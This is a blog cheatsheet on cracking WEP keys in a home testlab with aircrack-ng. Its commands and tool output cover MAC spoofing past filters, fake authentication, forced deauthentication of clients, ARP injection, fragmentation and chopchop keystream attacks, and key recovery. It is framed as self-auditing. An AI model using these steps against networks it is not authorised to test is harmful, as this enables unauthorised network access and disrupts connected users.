Please consider donating: https://www.corelan.be/index.php/donate/


147,445 views

Cheatsheet : Cracking WEP with Backtrack 4 and aircrack-ng

I know, there a probably already a zillion number of websites that show how to crack WEP.

So I guess this will be website zillion+1 learning how to audit your own WEP security. To be honest, the main reason I’m putting this info on this blog because I just wanted it as a quick reference- or cheatsheet, in case I forget some about particular commands/parameters again :-)  And why rely on other websites that may or may not be reachable when you need them :-)

Scenario 1 : WEP encryption, OPEN Authentication, MAC filtering enabled, active client on network

The AP in my testlab uses MAC filtering and is configured to use WEP, using OPEN Authentication Method.

In this scenario, I have 2 clients that are currently connected to the wireless network.

My auditor laptop (and old IBM T22) runs backtrack beta 4, and has a PCMCIA network card (Proxim, Atheros chipset) and a Dlink USB Wireless Adapter (DWL-G122).  Both adapters will work just fine, however I get better results with the proxim PCMCIA card because it has a range extender.

The process of cracking the wep key for this scenario is

  • Put wireless interface in monitor mode (airmon-ng start wireless_interface)
  • Find wireless network (channel, BSSID and ESSID)  (airodump-ng wireless_interface_in_monitor_mode)
  • Find a valid / connected client (MAC Address)
  • Wait until client is gone and change mac address to valid client MAC  (airmon-ng stop wireless_int, ifconfig wireless_int down, macchanger –m XX:XX:XX:XX:XX:XX wireless_int, ifconfig wireless_int up, airmon-ng start wireless_int)
  • Associate with AP and inject ARP packets (airodump-ng –c –-ivs –w /tmp/filename wireless_int_in_monitormode, aireplay-ng –fakeauth 0 –a –h –e ESSID wireless_int_in_monitormode>, aireplay-ng -3 -b wireless_int_in_monitor_mode)     
  • If no ARP is found (and injected) in a reasonable amount of time, try to deauthenticate an existing client (aireplay-ng –deauth 0 -a BSSID –c CLientMAC wireless_int_in_monitor_mode)
  • Save IV’s to file and crack the key (airocrack-ng –0 –b BSSID /tmp/filename.ivs)

In all cases, in all scenario’s, the most important component is verifying that you can associate with an AP. You’ll learn some techniques on how to do this in this blog. But let’s not jump ahead.

First, list the adapters :

root@bt:~# airmon-ng

Interface       Chipset         Driver

wifi0           Atheros         madwifi-ng
wlan0           Ralink 2573 USB rt73usb - [phy0]
ath0            Atheros         madwifi-ng VAP (parent: wifi0)

The wifi0 adapter is the proxim pcmcia card.  wlan0 is the Dlink USB adapter.  For this test, we’ll use the proxim card (wifi0).  The mac address of this card is 00:20:A6:4F:A9:41  (you can get the mac address by running ‘ifconfig wifi0’)

First, put the card in monitor mode :

root@bt:~# airmon-ng start wifi0

Interface       Chipset         Driver

wifi0           Atheros         madwifi-ng
wlan0           Ralink 2573 USB rt73usb - [phy0]
ath0            Atheros         madwifi-ng VAP (parent: wifi0)
ath1            Atheros         madwifi-ng VAP (parent: wifi0) (monitor mode enabled)

A new interface called “ath1” has been created. This interface is the one we are going to use in order to find the wireless networks. Launch “airodump-ng ath1” to hop all channels and show the wireless networks that can be found, and the clients (if any) that are currently associated with an Access Point :

root@bt:~# airodump-ng ath1

CH  1 ][ Elapsed: 1 min ][ 2009-02-19 14:05                                         

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID                                                    

 00:14:BF:89:9C:D3   34      104        0    0  11  54 . WEP  WEP         TestNet                                                   

 BSSID              STATION            PWR   Rate   Lost  Packets  Probe                                                           

 00:14:BF:89:9C:D3  00:1C:BF:90:5B:A3   55   0- 1      0       12  TestNet
 00:14:BF:89:9C:D3  00:19:5B:52:AD:F7   71   0- 1     32      441  TestNet   

Ok, so we have found a network with ESSID “TestNet”, operating at channel 11. Apparently there are 2 clients connected to this AP.

Let’s see if we can associate with Access Point with MAC (BSSID) 00:14:BF:89:9C:D3

First, run airodump-ng again, but set it to look at channel 11.  This is required for the AP association/authentication (via aireplay-ng) to operate at channel 11 as well (because you cannot specify the channel to use when running aireplay-ng) :

root@bt:/# airodump-ng --channel 11 ath1

Leave the airodump-ng running for now and run the following aireplay-ng command to perform a ‘fake authentication’ attempt :

root@bt:~# aireplay-ng --fakeauth 0 -a 00:14:BF:89:9C:D3 -e TestNet ath1
No source MAC (-h) specified. Using the device MAC (00:20:A6:4F:A9:41)
14:14:50  Waiting for beacon frame (BSSID: 00:14:BF:89:9C:D3) on channel 11

14:14:50  Sending Authentication Request (Open System) [ACK]
14:14:50  AP rejects the source MAC address (00:20:A6:4F:A9:41) ?
Authentication failed (code 1)

14:14:53  Sending Authentication Request (Open System) [ACK]
14:14:53  AP rejects the source MAC address (00:20:A6:4F:A9:41) ?
Authentication failed (code 1)

Ok – Authentication failed, so the AP does MAC filtering. We could try to use the MAC address of one of the clients that are already connected (by specifying its MAC address using the –h parameter), but we’ll change the MAC address on our interface (which will make all future commands shorter)

First, kill the airodump-ng process.  Take wifi0 (ath1) out of monitoring mode :

root@bt:~# airmon-ng stop ath1

Interface       Chipset         Driver

wifi0           Atheros         madwifi-ng
wlan0           Ralink 2573 USB rt73usb - [phy0]
ath0            Atheros         madwifi-ng VAP (parent: wifi0)
ath1            Atheros         madwifi-ng VAP (parent: wifi0) (VAP destroyed)

root@bt:~# airmon-ng

Interface       Chipset         Driver

wifi0           Atheros         madwifi-ng
wlan0           Ralink 2573 USB rt73usb - [phy0]
ath0            Atheros         madwifi-ng VAP (parent: wifi0)

Bring wifi0 down, change the mac address of wifi0, bring wifi0 up again and then put the interface back in monitor mode :

root@bt:~# ifconfig wifi0 down
root@bt:~# macchanger -m 00:1C:BF:90:5B:A3 wifi0
Current MAC: 00:20:a6:4f:a9:44 (Proxim, Inc.)
Faked MAC:   00:1c:bf:90:5b:a3 (unknown)
root@bt:~# ifconfig wifi0 up
root@bt:~# airmon-ng start wifi0

Interface       Chipset         Driver

wifi0           Atheros         madwifi-ng
wlan0           Ralink 2573 USB rt73usb - [phy0]
ath0            Atheros         madwifi-ng VAP (parent: wifi0)
ath1            Atheros         madwifi-ng VAP (parent: wifi0) (monitor mode enabled)

root@bt:~# ifconfig ath1
ath1      Link encap:UNSPEC  HWaddr 00-1C-BF-90-5B-A3-D0-03-00-00-00-00-00-00-00-00
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:106 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:9448 (9.4 KB)  TX bytes:0 (0.0 B)

Ok, looks good

Let’s see if it makes a difference.  Run airodump-ng again (airodump-ng –c 11 ath1) and then try to perform the fake authentication again

root@bt:/# aireplay-ng --fakeauth 0 -a 00:14:BF:89:9C:D3 -e TestNet ath1
No source MAC (-h) specified. Using the device MAC (00:1C:BF:90:5B:A3)
14:20:19  Waiting for beacon frame (BSSID: 00:14:BF:89:9C:D3) on channel 11

14:20:19  Sending Authentication Request (Open System) [ACK]
14:20:19  Authentication successful
14:20:19  Sending Association Request [ACK]
14:20:19  Association successful :-) (AID: 1)

If you are connecting to an AP that is a bit picky, then you have some options to tweak the aireplay-ng behaviour :

aireplay-ng -1 6000 -o 1 -q 12 -e TestNet -a 00:14:BF:89:9C:D3 ath1

–1 6000 = reauthenticate every 6000 seconds

-o 1 = only send one set of packets at a time

-q 12= send keepalive packets every 12 seconds   (sometimes, it works better without this last parameter)

From this point forward, you should be able to associate with the AP. If not, there’s no use in continuing with the process.

Ok, now let’s try to crack the key. First, stop the existing airodump process and run airodump-ng with the option to save the iv’s to a file (parameter –i   or  –ivs):

root@bt:~# airodump-ng -c 11 -w /tmp/TestNetAudit1 -i ath1

CH 11 ][ Elapsed: 12 s ][ 2009-02-19 14:24                                         

BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID                                                

00:14:BF:89:9C:D3   34 100      135        0    0  11  54 . WEP  WEP    OPN  TestNet                                               

BSSID              STATION            PWR   Rate   Lost  Packets  Probe                                                           

00:14:BF:89:9C:D3  00:19:5B:52:AD:F7   43   0- 1     10       84  TestNet                                                           

The number of #Data packets is most likely still very low and does not go up as fast as we want it to. So we need to grab an ARP packet and inject it.

First, launch aireplay-ng in injection mode :

root@bt:~# aireplay-ng -3 -b 00:14:BF:89:9C:D3 ath1
For information, no action required: Using gettimeofday() instead of /dev/rtc
No source MAC (-h) specified. Using the device MAC (00:1C:BF:90:5B:A3)
14:26:55  Waiting for beacon frame (BSSID: 00:14:BF:89:9C:D3) on channel 11
Saving ARP requests in replay_arp-0219-142655.cap
You should also start airodump-ng to capture replies.
Read 243 packets (got 0 ARP requests and 0 ACKs), sent 0 packets...(0 pps)

(leave this running – wait until an ARP request is seen. The tool will then automatically attempt to inject the ARP packets, thus increasing the number of data packets (and iv’s) on the network). Some AP’s require you to be associated (or will perform disassociate after a while). It might take a couple of minutes before an ARP is seen. If you don’t have a lot of time, it might help trying to associate yourself again :

aireplay-ng --fakeauth 0 -a 00:14:BF:89:9C:D3 -e TestNet ath1

If that does not generate the required ARP packet(s), which should set off the ARP injection, then try to deauthenticate the existing clients. (which may not work very well if the AP has MAC filtering enabled. If you have a second client MAC address, you can set your own MAC address to one of the clients and try to deauth the other client…)

Keep the aireplay-ng and airodump-ng running and run the deauth attack.

root@bt:/# aireplay-ng --deauth 0 -a 00:14:BF:89:9C:D3 ath1
14:38:15  Waiting for beacon frame (BSSID: 00:14:BF:89:9C:D3) on channel 11
NB: this attack is more effective when targeting
a connected wireless client (-c ).
14:38:15  Sending DeAuth to broadcast -- BSSID: [00:14:BF:89:9C:D3]
14:38:16  Sending DeAuth to broadcast -- BSSID: [00:14:BF:89:9C:D3]
14:38:17  Sending DeAuth to broadcast -- BSSID: [00:14:BF:89:9C:D3]
14:38:17  Sending DeAuth to broadcast -- BSSID: [00:14:BF:89:9C:D3]
14:38:18  Sending DeAuth to broadcast -- BSSID: [00:14:BF:89:9C:D3]
14:38:19  Sending DeAuth to broadcast -- BSSID: [00:14:BF:89:9C:D3]
14:38:19  Sending DeAuth to broadcast -- BSSID: [00:14:BF:89:9C:D3]

If this works, the valid client will be disconnected. When the client connects again (in most cases, this happens automatically), and after max. a couple of minutes, you should see that the ARP injection process starts to work :

root@bt:~# aireplay-ng -3 -b 00:14:BF:89:9C:D3 ath1
For information, no action required: Using gettimeofday() instead of /dev/rtc
No source MAC (-h) specified. Using the device MAC (00:1C:BF:90:5B:A3)
14:39:08  Waiting for beacon frame (BSSID: 00:14:BF:89:9C:D3) on channel 11
Saving ARP requests in replay_arp-0219-143908.cap
You should also start airodump-ng to capture replies.
Redd 7951 packets (got 878 ARP requests and 589 ACKs), sent 7116 packets...(499 pps)

 

At the same time, you should start to see the number of data packets increasing rapidly :

CH 11 ][ Elapsed: 7 mins ][ 2009-02-19 14:32 ]                                          

BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID                                                

00:14:BF:89:9C:D3   34  97     4582    41799  814  11  54 . WEP  WEP    OPN  TestNet

BSSID              STATION            PWR   Rate   Lost  Packets  Probe                                                           

00:14:BF:89:9C:D3  00:19:5B:52:AD:F7   71   0- 1     46     2495  TestNet
00:14:BF:89:9C:D3  00:1C:BF:90:5B:A3   34  54- 1      0    51017  TestNet 

For a 128bit WEP key, you’ll probably need between 80000 and 250000 data packets.  However you don’t need to wait until you’ve gathered all those packets. You can already try to break the key using the ivs file that is being generated.  As long as the key is not found, and the number of packets keeps growing, the crack process will automatically reread the file and attempt to crack the key.

By the time I wrote the last 2 lines of text, I had already captured 140000 IVs, which appears to be sufficient to crack the key in one shot.  So if your coverage is good, signal is strong, and the injection works well, it may go very fast.

root@bt:/# aircrack-ng –0 -b 00:14:BF:89:9C:D3 /tmp/TestNetAudit1-01.ivs
Opening /tmp/TestNetAudit1-01.ivs
Reading packets, please wait...

Aircrack-ng 1.0 rc2 r1415

[00:00:01] Tested 865 keys (got 140507 IVs)

   KB    depth   byte(vote)
    0    0/  1   A3(203120) 73(160718) 31(256416) 18(156160) DD(154112) FE(153344)
    1    0/  9   EA(193816) 22(150440) AD(254880) 0D(153856) 9B(153856) 4B(153600)
    2    0/  1   D3(212716) AD(197696) 22(135904) E6(153601) 4A(153334) 89(151208)
    3    7/  3   AA(153630) 1F(122064) B0(141808) BB(151552) 3C(151040) F8(150724)
    4   13/  4   DD(150086) 23(139760) 05(129534) E4(149504) 04(149248) 70(149238) 

             KEY FOUND! [ A3:EA:D3:AA:DD:73:22:AD:1F:23:31:AD:22 ]
        Decrypted correctly: 100%

If you would not have had enough IVs, the aircrack-ng process would just sit and wait until the file has grown bigger and would then attempt to crack the key again.

If the packets all of a sudden stop increasing, then stop the injection process, start it again, re-associate, perhaps deauthenticate an existing client and it should continue to grow.

In my case, the key was cracked in 1 second.  The total process took about 10 minutes.

The key is 26 characters, so if we assume that the key is in hex, we are dealing with 128bit WEP. This mode is also called WEP104

(In case you forgot : WEP40 = 64bit, WEP104 = 128bit, WEP1xx = 256bit)

 

Scenario 2 : WEP encryption, OPEN Authentication, MAC filtering enabled (?), no active clients

Ok, first of all, if MAC filtering is enabled and there are no active clients, it’s going to be difficult to get a valid MAC address that is allowed to associate with the AP.   I guess it makes the wireless network a bit safer, but a whole lot more useless as well. :-)

So assuming that there is no MAC filtering, or you have managed to get a valid MAC address of a client (earlier, or by bruteforcing mac addresses :) ), then this is what you can do if there are no active clients connected to the network at the time of the audit :

  • Put wireless interface in monitor mode (airmon-ng start wireless_interface)
  • Find wireless network (BSSID and ESSID) (airodump-ng wireless_interface_in_monitor_mode)
  • Associate with AP (airodump-ng –c –-ivs –w /tmp/filename wireless_int_in_monitormode, aireplay-ng –fakeauth 0 –a –h –e ESSID wireless_int_in_monitormode>)
  • Use fragmentation or chopchop attack and generate a valid custom arp packet (aireplay-ng –5 –b wireless_int_in_monitormode,aireplay-ng –4 –b –h wireless_int_in_monitor_mode, packetforge-ng…)
  • Inject custom ARP packet (aireplay-ng –2 –r custom_arp_packet.file wireless_int_in_monitor_mode)
  • Save IVs to file, crack the key, throw a party

    The first 3 steps are similar to scenario 1. I’ll assume that you are able to associate yourself with the AP (either using any MAC or using a valid MAC from the MAC filter list) and that you have your airodump-ng running, capturing ivs to a file.

    Let’s try the fragmentation attack first (option –5)

    root@bt:~# aireplay-ng -5 -b 00:14:BF:89:9C:D3 ath1
    For information, no action required: Using gettimeofday() instead of /dev/rtc
    No source MAC (-h) specified. Using the device MAC (00:1C:BF:90:5B:A3)
    18:29:43  Waiting for beacon frame (BSSID: 00:14:BF:89:9C:D3) on channel 11
    18:29:43  Waiting for a data packet...

    Wait until you are asked whether you want to use a packet that was captured. Review the packet (BSSID, dest mac, source mac) and make sure the packet comes from the Access Point.

    Sometimes you will need to try a couple of times before the system will respond correctly

    root@bt:~# aireplay-ng -5 -b 00:14:BF:89:9C:D3 ath1
    For information, no action required: Using gettimeofday() instead of /dev/rtc
    No source MAC (-h) specified. Using the device MAC (00:1C:BF:90:5B:A3)
    18:48:14  Waiting for beacon frame (BSSID: 00:14:BF:89:9C:D3) on channel 11
    18:48:14  Waiting for a data packet...
    Read 3076 packets...
    
            Size: 352, FromDS: 1, ToDS: 0 (WEP)
    
                  BSSID  =  00:14:BF:89:9C:D3
              Dest. MAC  =  01:00:5E:7F:FF:FA
             Source MAC  =  00:14:BF:89:9C:D1
    
            0x0000:  0862 0000 0100 5e7f fffa 0014 bf89 9cd3  .b....^........
            0x0010:  0014 bf89 9cd1 9032 f342 c600 ec3e bc5d  .......2.B...>.]
            0x0020:  49b8 962e 631e f086 80e5 4337 dd4f 37a4  I...c.....C7.O7.
            0x0030:  9e06 e370 1feb eb0e c38b 76d6 9ad7 8118  ...p......v.....
            0x0040:  24e1 5d7e 5399 2fea 234c 7d1b 668c 23b5  $.]~S./.#L}.f.#.
            0x0050:  fd83 d7de 7cf8 09df 85ba b692 8a62 a5bd  ....|........b..
            0x0070:  d00e a197 2ca3 6446 60e6 0fc7 ab67 64d6  ....,.dF`....gd.
            0x0080:  edab 525f 8cf1 9645 dadf cbce c12f 439d  ..R_...E...../C.
            0x0090:  b0c3 6b7a 011e 3ced 00d5 2ed3 696c 4aae  ..kz..<.....ilJ.
            0x00a0:  638d 122a e307 9e62 4ed7 3475 2679 6168  c..*...bN.4u&yah
            0x00b0:  f465 4811 b31c 3d5e 0129 dc79 07c0 805a  .eH...=^.).y...Z
            0x00c0:  22df 4e38 bb98 6136 2177 7062 8dea 8a4a  ".N8..a6!wpb...J
            0x00d0:  492d 62a6 52bc 2ef7 41f0 18b1 e12d 409d  I-b.R...A....-@.
            --- CUT ---
    
    Use this packet ? y
    
    Saving chosen packet in replay_src-0219-184930.cap
    18:50:11  Data packet found!
    18:50:11  Sending fragmented packet
    18:50:11  Got RELAYED packet!!
    18:50:11  Trying to get 384 bytes of a keystream
    18:50:11  Got RELAYED packet!!
    18:50:11  Trying to get 1500 bytes of a keystream
    18:50:12  Got RELAYED packet!!
    Saving keystream in fragment-0219-185011.xor
    Now you can build a packet with packetforge-ng out of that 1500 bytes keystream

    You should get “Got RELAYED packet!!” in order to be successfull.

    Ok, now you can use the .xor file to generate and ARP packet that can be injected and will help to get IVs.  In this command, you will have to specify the local MAC address (so make sure to use the correct MAC address. If you are using a fake MAC, then use this fake mac in the commandk)

    root@bt:~# packetforge-ng -0 -a 00:14:BF:89:9C:D3
      -h 00:1C:BF:90:5B:A3 -k 255.255.255.255 -l 255.255.255.255
      -y fragment-0219-185011.xor -w /tmp/my-arp-request
    Wrote packet to: /tmp/my-arp-request

    (I’ve put the command on 3 lines to improve readability – just make sure to put everything in one line)

    Ok, now the arp packet is ready. Let’s inject it into the network

    root@bt:~# aireplay-ng -2 -r /tmp/my-arp-request ath1
    For information, no action required: Using gettimeofday() instead of /dev/rtc
    No source MAC (-h) specified. Using the device MAC (00:1C:BF:90:5B:A3)
    
            Size: 68, FromDS: 0, ToDS: 1 (WEP)
    
                  BSSID  =  00:14:BF:89:9C:D3
              Dest. MAC  =  FF:FF:FF:FF:FF:FF
             Source MAC  =  00:1C:BF:90:5B:A3
    
            0x0000:  0841 0201 0014 bf89 9cd3 001c bf90 5ba3  .A............[.
            0x0010:  ffff ffff ffff 8001 0043 c600 1c3b d684  .........C...;..
            0x0020:  8ffc a071 7759 1075 474b caae b7a6 5ad2  ...qwY.uGK....Z.
            0x0040:  5c4c 2447                                \L$G
    
    Use this packet ? 

    Enter “y” and see if the data packets are now increasing. (switch to the airodump-ng output)

    In most cases, this attack works well. However, if you have not been able to successfully get a .xor file using this procedure, you can use the chopchop attack as well :

    root@bt:~# aireplay-ng -4 -b 00:14:BF:89:9C:D3 -h 00:1C:BF:90:5B:A3 ath1
    For information, no action required: Using gettimeofday() instead of /dev/rtc
    19:04:26  Waiting for beacon frame (BSSID: 00:14:BF:89:9C:D3) on channel 11
    Read 2938 packets...
    
            Size: 352, FromDS: 1, ToDS: 0 (WEP)
    
                  BSSID  =  00:14:BF:89:9C:D3
              Dest. MAC  =  01:00:5E:7F:FF:FA
             Source MAC  =  00:14:BF:89:9C:D1
    
            0x0000:  0862 0000 0100 5e7f fffa 0014 bf89 9cd3  .b....^........
            0x0010:  0014 bf89 9cd1 201a 2639 c800 8354 3936  ...... .&9...T96
            0x0020:  d88c 8958 fedb 0f68 330c 78f9 944f 7840  ...X...h3.x..Ox@
            0x0030:  1871 95b8 2d56 8a21 0af2 8b1e 0953 4e67  .q..-V.!.....SNg
            0x0040:  5c10 a065 99bb 907b 3a84 8cd0 d159 e4ce  \..e...{:....Y..
            0x0050:  83da 1e42 5630 b0e6 0171 0fcb 3ad7 57ab  ...BV0...q..:.W.
            0x0060:  0e5f f49b ca99 b107 2d1d ab9c 039f ad7c  ._......-......|
            0x0070:  0729 627c 838e f247 b581 771d 7e3f bc3c  .)b|...G..w.~?.<
            0x0080:  4068 d8b3 0300 0da4 90b1 a0b2 046c 6920  @h...........li
            0x00a0:  11fc 073c bcb3 f8ed a240 08c2 d706 adf3  ...<.....@......
            0x00b0:  9ac9 3787 b4cb 8994 4a94 5969 b741 765d  ..7.....J.Yi.Av]
            0x00c0:  4cd5 f2dd 14ac ccfe bca0 d769 aa37 cbc1  L..........i.7..
            0x00d0:  9577 bad9 7a1d 2a60 4a80 54bc 418d df57  .w..z.*`J.T.A..W
            --- CUT ---
    
    Use this packet ? y
    
    Saving chosen packet in replay_src-0219-190538.cap
    
    Sent 241 packets, current guess: F0...
    
    Failure: got several deauthentication packets from the AP - try running
    another aireplay-ng with attack "-1" (fake open-system authentication).

    if you get this message, try running a aireplay-ng –fakeauth while running the chopchop attack.

    session 1 : start the fakeauth

    root@bt:~# aireplay-ng --fakeauth 6000 -o 1 -a 00:14:BF:89:9C:D3 -e TestNet ath1
    No source MAC (-h) specified. Using the device MAC (00:1C:BF:90:5B:A3)
    19:08:49  Waiting for beacon frame (BSSID: 00:14:BF:89:9C:D3) on channel 11
    
    19:08:49  Sending Authentication Request (Open System) [ACK]
    19:08:49  Authentication successful
    19:08:49  Sending Association Request [ACK]
    19:08:49  Association successful :-) (AID: 1)
    19:09:04  Sending keep-alive packet [ACK]
    19:09:04  Got a deauthentication packet! (Waiting 3 seconds)
    
    19:09:07  Sending Authentication Request (Open System) [ACK]
    19:09:07  Authentication successful
    19:09:07  Sending Association Request [ACK]
    19:09:07  Association successful :-) (AID: 1)
    19:09:22  Sending keep-alive packet [ACK]
    19:09:22  Got a deauthentication packet! (Waiting 3 seconds)
    
    19:09:25  Sending Authentication Request (Open System) [ACK]
    19:09:25  Authentication successful
    19:09:25  Sending Association Request [ACK]
    19:09:25  Association successful :-) (AID: 1)
    19:09:40  Sending keep-alive packet [ACK]
    19:09:40  Got a deauthentication packet! (Waiting 3 seconds)
    
    19:09:43  Sending Authentication Request (Open System) [ACK]
    19:09:43  Authentication successful
    19:09:43  Sending Association Request [ACK]
    19:09:43  Association successful :-) (AID: 1)
    19:09:45  Got a deauthentication packet! (Waiting 3 seconds)
    
    19:09:48  Sending Authentication Request (Open System) [ACK]
    19:09:48  Authentication successful
    19:09:48  Sending Association Request [ACK]
    19:09:48  Association successful :-) (AID: 1)
    19:10:03  Sending keep-alive packet [ACK]
    19:10:18  Sending keep-alive packet [ACK]
    19:10:33  Sending keep-alive packet [ACK]
    19:10:48  Sending keep-alive packet [ACK]
    19:11:03  Sending keep-alive packet [ACK]

    session 2 : run chopchop while fakeauth is running

    Enter “y” to select a packet. Wait until the process has reached 100% and you should have your .xor file. This process can take multiple minutes. Don’t worry, as long as it keeps running, you’re fine.

    root@bt:~# aireplay-ng -4 -b 00:14:BF:89:9C:D3 -h 00:1C:BF:90:5B:A3 ath1
    For information, no action required: Using gettimeofday() instead of /dev/rtc
    19:08:55  Waiting for beacon frame (BSSID: 00:14:BF:89:9C:D3) on channel 11
    Read 1841 packets...
    
            Size: 352, FromDS: 1, ToDS: 0 (WEP)
    
                  BSSID  =  00:14:BF:89:9C:D3
              Dest. MAC  =  01:00:5E:7F:FF:FA
             Source MAC  =  00:14:BF:89:9C:D1
    
            0x0000:  0862 0000 0100 5e7f fffa 0014 bf89 9cd3  .b....^........
            0x0010:  0014 bf89 9cd1 4003 3c39 c800 a4b4 4b96  ......@.<9....K.
            0x0020:  94d4 525e b994 7f52 f494 6cd9 2e85 9a96  ..R^..R..l.....
            0x0030:  fd15 2a16 684e da3b 2296 c849 4660 2b06  ..*.hN.;"..IF`+.
            0x0050:  029d a52b f305 a77c bae0 8013 1887 5cd9  ...+...|......\.
            0x0060:  26ee ddec 5316 8065 bb06 14ec a7a6 005e  &...S..e.......^
            0x0070:  c6b5 2b42 e618 6ab1 475e 5bdd 73c9 ff74  ..+B..j.G^[.s..t
            0x0080:  d312 6c5f 9c95 f185 6967 51ca 180d b844  ..l_....igQ....D
            0x0090:  bb62 190a 4e53 3d1b e4cd bc51 37d8 feaf  .b..NS=....Q7...
            0x00a0:  9579 02e3 fe9f 6c6a 9776 eff1 7c75 fb10  .y....lj.v..|u..
            --- CUT ---
    
    Use this packet ? y
    
    Saving chosen packet in replay_src-0219-190940.cap
    
    Offset  351 ( 0% done) | xor = 4C | pt = 88 |  637 frames written in 12991ms
    Offset  350 ( 0% done) | xor = A0 | pt = F0 |   26 frames written in   530ms
    Offset  349 ( 0% done) | xor = 0D | pt = 6E |  123 frames written in  2502ms
    Offset  348 ( 0% done) | xor = D7 | pt = C3 |  174 frames written in  3555ms
    Offset  347 ( 1% done) | xor = C7 | pt = 0A |   36 frames written in   734ms
    Offset  346 ( 1% done) | xor = 92 | pt = 0D |  236 frames written in  4800ms
    Offset  345 ( 1% done) | xor = 1C | pt = 0A |  139 frames written in  2820ms
    Offset  344 ( 2% done) | xor = 62 | pt = 0D |   77 frames written in  1576ms
    Offset  343 ( 2% done) | xor = 18 | pt = 65 |  226 frames written in  4587ms
    Offset  342 ( 2% done) | xor = 18 | pt = 63 |  133 frames written in  2718ms
    Offset  341 ( 3% done) | xor = 22 | pt = 69 |  133 frames written in  2722ms
    Offset  340 ( 3% done) | xor = D4 | pt = 76 |  205 frames written in  4171ms
    Offset  339 ( 3% done) | xor = 31 | pt = 65 |   72 frames written in  1465ms
    
    Offset   59 (91% done) | xor = 25 | pt = 6C |  108 frames written in  2196ms
    Offset   58 (92% done) | xor = CF | pt = 07 |   46 frames written in   938ms
    Offset   57 (92% done) | xor = 5A | pt = CC |   20 frames written in   420ms
    Offset   56 (92% done) | xor = 2B | pt = 09 |  164 frames written in  3346ms
    Offset   55 (93% done) | xor = C1 | pt = FA |   10 frames written in   204ms
    Offset   54 (93% done) | xor = 25 | pt = FF |  257 frames written in  5224ms
    Offset   53 (93% done) | xor = B1 | pt = FF |  133 frames written in  2722ms
    Offset   52 (94% done) | xor = 87 | pt = EF |   61 frames written in  1245ms
    Offset   51 (94% done) | xor = 17 | pt = 01 |  175 frames written in  3563ms
    Offset   50 (94% done) | xor = 2C | pt = 06 |  205 frames written in  4171ms
    Offset   49 (94% done) | xor = BD | pt = A8 |  241 frames written in  4909ms
    Offset   48 (95% done) | xor = 3D | pt = C0 |  179 frames written in  3653ms
    Offset   47 (95% done) | xor = 87 | pt = 11 |   36 frames written in   735ms
    Offset   46 (95% done) | xor = 6C | pt = F6 |  180 frames written in  3657ms
    Offset   45 (96% done) | xor = 94 | pt = 11 |  199 frames written in  4073ms
    Offset   44 (96% done) | xor = 2F | pt = 01 |  236 frames written in  4812ms
    Offset   43 (96% done) | xor = D9 | pt = 00 |  103 frames written in  2085ms
    Offset   42 (97% done) | xor = 6C | pt = 00 |   87 frames written in  1783ms
    Offset   41 (97% done) | xor = 94 | pt = 00 |   98 frames written in  1975ms
    Offset   40 (97% done) | xor = F8 | pt = 0C |   20 frames written in   420ms
    Offset   39 (98% done) | xor = 6A | pt = 38 |  113 frames written in  2306ms
    Offset   38 (98% done) | xor = 7E | pt = 01 |  231 frames written in  4698ms
    Offset   37 (98% done) | xor = 94 | pt = 00 |  236 frames written in  4799ms
    Offset   36 (99% done) | xor = FC | pt = 45 |   20 frames written in   420ms
    Offset   35 (99% done) | xor = 5E | pt = 00 |  231 frames written in  4701ms
    Offset   34 (99% done) | xor = 5A | pt = 08 |  148 frames written in  3032ms
    
    Saving plaintext in replay_dec-0219-192452.cap
    Saving keystream in replay_dec-0219-192452.xor
    
    Completed in 907s (0.35 bytes/s)

    Follow the same steps that were used when we created a .xor file using the fragmentation attack  :  create an arp packet (packetforge-ng), inject the packet (aireplay-ng), capture the IVs and crack the key.

    root@bt:~# packetforge-ng -0 -a 00:14:BF:89:9C:D3 -h 00:1C:BF:90:5B:A3
       -k 255.255.255.255 -l 255.255.255.255
       -y replay_dec-0219-192452.xor -w /tmp/my-2nd-arp-request
    Wrote packet to: /tmp/my-2nd-arp-request

    Inject :

    root@bt:~# aireplay-ng -2 -r /tmp/my-2nd-arp-request ath1
    For information, no action required: Using gettimeofday() instead of /dev/rtc
    No source MAC (-h) specified. Using the device MAC (00:1C:BF:90:5B:A3)
    
            Size: 68, FromDS: 0, ToDS: 1 (WEP)
    
                  BSSID  =  00:14:BF:89:9C:D3
              Dest. MAC  =  FF:FF:FF:FF:FF:FF
             Source MAC  =  00:1C:BF:90:5B:A3
    
            0x0000:  0841 0201 0014 bf89 9cd3 001c bf90 5ba3  .A............[.
            0x0010:  ffff ffff ffff 8001 3c39 c800 a4b4 4b96  ........<9....K.
            0x0020:  94d4 5258 fc95 766a fe90 6cd8 2f88 d317  ..RX..vj..l./...
            0x0040:  5994 1ab1                                Y...
    
    Use this packet ? y

    Verify that the number of #Data packets increases fast, wait a couple of minutes and start cracking

     

    Scenario 3 : WEP encryption, Shared Key Authentication instead of OPEN

    What if the AP does not use OPEN authentication, but uses Shared Key Authentication ?

    Well, aireplay-ng –fakeauth will not just work…  It will detect that Open System is cannot be used, and will then attempt to get the shared key. In fact, it needs to see a client successfully authenticate to the AP before it will be able to grab the SKA and use it.

    20:15:01  Sending Authentication Request (Open System) [ACK]
    20:15:01  Switching to shared key authentication

    As long as a client has not associated, the AUTH column in airodump-ng will stay empty. When Shared Key is used, and after a client has connected, the column will state SKA. From that point forward, you can use the Shared Key to do fake auth.

    First, launch airodump-ng and write all data to disk  (airodump-ng –w /tmp/filesout ath1)

    When a client authenticates, airodump-ng will write a .xor file to disk, containing the PRGA xor bits. Of course, if it takes too long before a client authenticates, you can try to deauthenticate an existing client (if any)

    If the .xor file is saved on disk, you can attempt to do the fake auth by providing the .xor file :

    root@bt:/tmp# aireplay-ng -1 0 -e TestNet -y /tmp/filesout.xor -a 00:19:5B:52:AD:F7 ath1
    No source MAC (-h) specified. Using the device MAC (00:1C:BF:90:5B:A3)
    20:23:58  Waiting for beacon frame (BSSID: 00:19:5B:52:AD:F7) on channel 10
    
    20:23:58  Sending Authentication Request (Shared Key) [ACK]
    20:23:58  Authentication 1/2 successful
    20:23:58  Sending encrypted challenge. [ACK]
    20:23:58  Authentication 2/2 successful
    20:23:58  Sending Association Request [ACK]
